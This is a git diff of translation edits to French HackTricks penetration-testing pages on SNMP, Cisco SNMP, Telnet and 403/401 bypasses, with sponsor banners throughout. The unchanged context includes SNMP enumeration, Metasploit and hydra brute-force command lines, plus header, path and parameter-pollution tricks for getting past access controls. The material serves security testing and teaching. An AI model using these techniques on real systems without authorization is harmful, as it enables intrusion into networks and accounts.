+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index f9704d691..b27394897 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -2,7 +2,7 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: @@ -14,9 +14,9 @@ Autres façons de soutenir HackTricks:
-
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -34,7 +34,7 @@ SNMP utilise également le port **162/UDP** pour les **traps**. Ce sont des **pa ### MIB Pour garantir que l'accès SNMP fonctionne entre les fabricants et avec différentes combinaisons client-serveur, la **Base d'Information de Gestion (MIB)** a été créée. La MIB est un **format indépendant pour stocker les informations des appareils**. Une MIB est un fichier **textuel** dans lequel tous les **objets SNMP interrogeables** d'un appareil sont répertoriés dans une hiérarchie d'arborescence **standardisée**. Elle contient au **moins un `Identifiant d'Objet` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\ -Les fichiers MIB sont écrits dans le format texte ASCII basé sur la `Notation de Syntaxe Abstraite Un` (`ASN.1`). Les **MIB ne contiennent pas de données**, mais ils expliquent **où trouver quelles informations** et à quoi elles ressemblent, renvoyant des valeurs pour l'OID spécifique, ou quel type de données est utilisé. +Les fichiers MIB sont écrits dans le format texte ASCII basé sur la `Notation de Syntaxe Abstraite Un` (`ASN.1`). Les **MIB ne contiennent pas de données**, mais ils expliquent **où trouver quelles informations** et à quoi cela ressemble, ce qui renvoie des valeurs pour l'OID spécifique, ou quel type de données est utilisé. ### OIDs @@ -46,8 +46,8 @@ De plus, les fournisseurs se voient accorder la liberté d'établir des branches ![](../../.gitbook/assets/snmp_oid_mib_tree.png) -Vous pouvez **naviguer** dans un **arbre OID** depuis le web ici : [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **voir ce que signifie un OID** (comme `1.3.6.1.2.1.1`) en accédant à [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Il existe quelques **OIDs bien connus** comme ceux à l'intérieur de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) qui font référence aux variables SNMP définies par MIB-2. Et à partir des **OIDs en attente de celui-ci**, vous pouvez obtenir des données hôtes intéressantes (données système, données réseau, données de processus...) +Vous pouvez **naviguer** à travers un **arbre OID** depuis le web ici : [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **voir ce que signifie un OID** (comme `1.3.6.1.2.1.1`) en accédant à [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ +Il existe quelques **OIDs bien connus** comme ceux à l'intérieur de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) qui font référence aux variables SNMP définies par MIB-2. Et à partir des **OIDs en attente de celui-ci**, vous pouvez obtenir des données hôte intéressantes (données système, données réseau, données de processus...) ### **Exemple d'OID** @@ -86,8 +86,8 @@ Le reste des valeurs donne des informations spécifiques sur l'appareil. Il existe 2 versions importantes de SNMP : -* **SNMPv1** : La principale, c'est toujours la plus fréquente, l'**authentification est basée sur une chaîne** (chaîne de communauté) qui voyage en **texte clair** (toutes les informations voyagent en texte clair). **La version 2 et 2c** envoient également le **trafic en texte clair** et utilisent une **chaîne de communauté comme authentification**. -* **SNMPv3** : Utilise une meilleure **forme d'authentification** et les informations voyagent **chiffrées** (une **attaque par dictionnaire** pourrait être effectuée mais il serait beaucoup plus difficile de trouver les bons identifiants que dans SNMPv1 et v2). +* **SNMPv1** : La principale, c'est toujours la plus fréquente, l'**authentification est basée sur une chaîne** (chaîne de communauté) qui circule en **texte clair** (toutes les informations circulent en texte clair). **La version 2 et 2c** envoient également le **trafic en texte clair** et utilisent une **chaîne de communauté comme authentification**. +* **SNMPv3** : Utilise une meilleure **forme d'authentification** et les informations circulent **chiffrées** (une **attaque par dictionnaire** pourrait être effectuée mais il serait beaucoup plus difficile de trouver les bons identifiants que dans SNMPv1 et v2). ### Chaînes de Communauté @@ -97,7 +97,7 @@ Il existe **2 types de chaînes de communauté** : * **`public`** principalement des fonctions **en lecture seule** * **`private`** **Lecture/Écriture** en général -Notez que **la possibilité d'écrire un OID dépend de la chaîne de communauté utilisée**, donc **même** si vous découvrez que "**public**" est utilisé, vous pourriez être en mesure d'**écrire certaines valeurs**. De plus, il **peut** exister des objets qui sont **toujours "Lecture Seule"**.\ +Notez que **la possibilité d'écrire un OID dépend de la chaîne de communauté utilisée**, donc **même** si vous découvrez que "**public**" est utilisé, vous pourriez être en mesure d'**écrire certaines valeurs**. De plus, il **peut** exister des objets qui sont **toujours "En Lecture Seule"**.\ Si vous essayez d'**écrire** un objet, une erreur **`noSuchName` ou `readOnly`** est reçue\*\*.\*\* Dans les versions 1 et 2/2c, si vous utilisez une **mauvaise** chaîne de communauté, le serveur ne **répondra** pas. Donc, s'il répond, une **chaîne de communauté valide a été utilisée**. @@ -123,7 +123,7 @@ download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -Si vous connaissez une chaîne de communauté valide, vous pouvez accéder aux données en utilisant **SNMPWalk** ou **SNMP-Check** : +Si vous connaissez une chaîne communautaire valide, vous pouvez accéder aux données en utilisant **SNMPWalk** ou **SNMP-Check** : ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -143,9 +143,7 @@ Grâce aux requêtes étendues (download-mibs), il est possible d'en savoir enco ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** contient beaucoup d'informations sur l'hôte et des éléments qui pourraient vous intéresser sont : **Interfaces réseau** (adresse IPv4 et **IPv6**), Noms d'utilisateur, Temps de fonctionnement, Version du serveur/Système d'exploitation, et **processus** - -**en cours d'exécution** (peut contenir des mots de passe).... +**SNMP** contient beaucoup d'informations sur l'hôte et des éléments qui pourraient vous intéresser sont : **Interfaces réseau** (adresse IPv4 et **IPv6**), Noms d'utilisateur, Temps de fonctionnement, Version du serveur/Système d'exploitation, et **processus** en cours d'exécution (pouvant contenir des mots de passe).... ### **Paramètres Dangereux** @@ -168,7 +166,7 @@ Une série de **valeurs de Base d'Information de Gestion (MIB)** sont utilisées * **Processus Système** : Accessible via `1.3.6.1.2.1.25.1.6.0`, ce paramètre permet de surveiller les processus actifs dans le système. * **Programmes en Cours d'Exécution** : La valeur `1.3.6.1.2.1.25.4.2.1.2` est désignée pour suivre les programmes actuellement en cours d'exécution. -* **Chemin des Processus** : Pour déterminer d'où un processus est en cours d'exécution, la valeur MIB `1.3.6.1.2.1.25.4.2.1.4` est utilisée. +* **Chemin des Processus** : Pour déterminer d'où s'exécute un processus, la valeur MIB `1.3.6.1.2.1.25.4.2.1.4` est utilisée. * **Unités de Stockage** : La surveillance des unités de stockage est facilitée par `1.3.6.1.2.1.25.2.3.1.4`. * **Nom du Logiciel** : Pour identifier le logiciel installé sur un système, `1.3.6.1.2.1.25.6.3.1.2` est utilisé. * **Comptes Utilisateurs** : La valeur `1.3.6.1.4.1.77.1.2.25` permet de suivre les comptes utilisateurs. @@ -206,7 +204,7 @@ Alors, cherchons les informations les plus intéressantes (de [https://blog.rapi ### **Appareils** -Le processus commence par l'extraction des données **sysDesc MIB** (1.3.6.1.2.1.1.1.0) de chaque fichier pour identifier les appareils. Cela est accompli grâce à l'utilisation d'une **commande grep**: +Le processus commence par l'extraction des données **sysDesc MIB** (1.3.6.1.2.1.1.1.0) de chaque fichier pour identifier les appareils. Cela est réalisé grâce à une **commande grep**: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` @@ -242,7 +240,7 @@ S'il existe une ACL qui autorise uniquement certaines adresses IP à interroger * snmpd.conf * snmp-config.xml -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). @@ -286,14 +284,14 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 61bbb4eb1..c9ce74baf 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -12,9 +12,9 @@ -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons!** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons!** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -28,7 +28,7 @@ onesixtyone -c communitystrings -i targets ``` #### `cisco_config_tftp` -Le framework Metasploit propose le module `cisco_config_tftp`, facilitant l'extraction des configurations des appareils, sous réserve de l'obtention d'une chaîne communautaire RW. Les paramètres essentiels pour cette opération incluent : +Le framework Metasploit propose le module `cisco_config_tftp`, facilitant l'extraction des configurations des appareils, sous réserve de l'acquisition d'une chaîne communautaire RW. Les paramètres essentiels pour cette opération incluent : * Chaîne communautaire RW (**COMMUNITY**) * IP de l'attaquant (**LHOST**) @@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -60,7 +60,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/network-services-pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md index 67287d4bb..cbfc855c9 100644 --- a/network-services-pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -24,7 +24,7 @@ Autres façons de soutenir HackTricks: Telnet est un protocole réseau qui permet aux utilisateurs d'accéder à un ordinateur de manière NON sécurisée via un réseau. -**Port par défaut:** 23 +**Port par défaut :** 23 ``` 23/tcp open telnet ``` @@ -34,7 +34,7 @@ Telnet est un protocole réseau qui permet aux utilisateurs d'accéder à un ord ```bash nc -vn 23 ``` -Toutes les énumérations intéressantes peuvent être effectuées par **nmap** : +Toute l'enumeration intéressante peut être effectuée par **nmap**: ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` @@ -84,9 +84,9 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
+
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -99,7 +99,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 5196e0872..44cb1c700 100644 --- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -32,7 +32,7 @@ Essayez d'utiliser **différents verbes** pour accéder au fichier : `GET, HEAD, * **Changer l'en-tête Host** en une valeur arbitraire ([qui a fonctionné ici](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) * Essayez d'**utiliser d'autres User Agents** pour accéder à la ressource. -* **Fuzz des en-têtes HTTP** : Essayez d'utiliser des **en-têtes** de proxy HTTP, une authentification HTTP de base et une force brute NTLM (avec seulement quelques combinaisons) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +* **Fuzz des en-têtes HTTP** : Essayez d'utiliser des **en-têtes de proxy HTTP**, une force brute HTTP Authentication Basic et NTLM (avec seulement quelques combinaisons) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). * `X-Originating-IP: 127.0.0.1` * `X-Forwarded-For: 127.0.0.1` @@ -52,9 +52,10 @@ Si le **chemin est protégé**, vous pouvez essayer de contourner la protection * `X-Original-URL: /admin/console` * `X-Rewrite-URL: /admin/console` -* Si la page est **derrière un proxy**, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de [**l'Assemblage de Requêtes HTTP**](../../pentesting-web/http-request-smuggling/) **ou** [**les en-têtes hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** -* Fuzz des [**en-têtes HTTP spéciaux**](special-http-headers.md) à la recherche de différentes réponses. -* **Fuzz des en-têtes HTTP spéciaux** tout en fuzzant les **Méthodes HTTP**. +* Si la page est **derrière un proxy**, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de l'**HTTP Request Smuggling** ou des **en-têtes hop-by-hop**. + +* Fuzz des [**en-têtes HTTP spéciaux**](special-http-headers.md) à la recherche de réponses différentes. +* **Fuzz des en-têtes HTTP spéciaux** tout en fuzzant les **méthodes HTTP**. * **Supprimez l'en-tête Host** et peut-être pourrez-vous contourner la protection. ## Fuzzing du chemin @@ -64,7 +65,7 @@ Si _/chemin_ est bloqué : * Essayez d'utiliser _**/**_**%2e/chemin \_(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi**\_\*\* /%252e\*\*/chemin (double encodage d'URL) * Essayez le **contournement Unicode** : _/**%ef%bc%8f**chemin_ (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont encodés à nouveau, cela sera _//chemin_ et peut-être que vous aurez déjà contourné la vérification du nom _/chemin_ * **Autres contournements de chemin** : -* site.com/secret –> HTTP 403 Interdit +* site.com/secret –> HTTP 403 Forbidden * site.com/SECRET –> HTTP 200 OK * site.com/secret/ –> HTTP 200 OK * site.com/secret/. –> HTTP 200 OK @@ -79,7 +80,7 @@ Si _/chemin_ est bloqué : * /FUZZ/secret * /secretFUZZ * **Autres contournements d'API** : -* /v3/users\_data/1234 --> 403 Interdit +* /v3/users\_data/1234 --> 403 Forbidden * /v1/users\_data/1234 --> 200 OK * {“id”:111} --> 401 Non autorisé * {“id”:\[111]} --> 200 OK @@ -87,8 +88,7 @@ Si _/chemin_ est bloqué : * {“id”:{“id”:111\}} --> 200 OK * {"user\_id":"\","user\_id":"\"} (Pollution de paramètres JSON) * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Pollution de paramètres) - -## **Manipulation des paramètres** +## **Manipulation de paramètres** * Changer la **valeur du paramètre** : De **`id=123` --> `id=124`** * Ajouter des paramètres supplémentaires à l'URL : `?`**`id=124` —-> `id=124&isAdmin=true`** @@ -99,11 +99,11 @@ Si _/chemin_ est bloqué : ## **Version du protocole** -Si vous utilisez HTTP/1.1 **essayez d'utiliser 1.0** ou même testez s'il **prend en charge 2.0**. +Si vous utilisez HTTP/1.1, **essayez d'utiliser 1.0** ou même testez s'il **prend en charge 2.0**. ## **Autres contournements** -* Obtenez l'**IP** ou le **CNAME** du domaine et essayez de le **contacter directement**. +* Obtenir l'**IP** ou le **CNAME** du domaine et essayer de le **contacter directement**. * Essayez de **surcharger le serveur** en envoyant des requêtes GET courantes ([Cela a fonctionné pour ce gars avec Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). * **Changer le protocole** : de http à https, ou de https à http * Allez sur [**https://archive.org/web/**](https://archive.org/web/) et vérifiez si dans le passé ce fichier était **accessible mondialement**. @@ -134,9 +134,9 @@ guest guest * [Extension Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) * [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -149,7 +149,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 20e1ca506..89c49e975 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -2,27 +2,27 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks 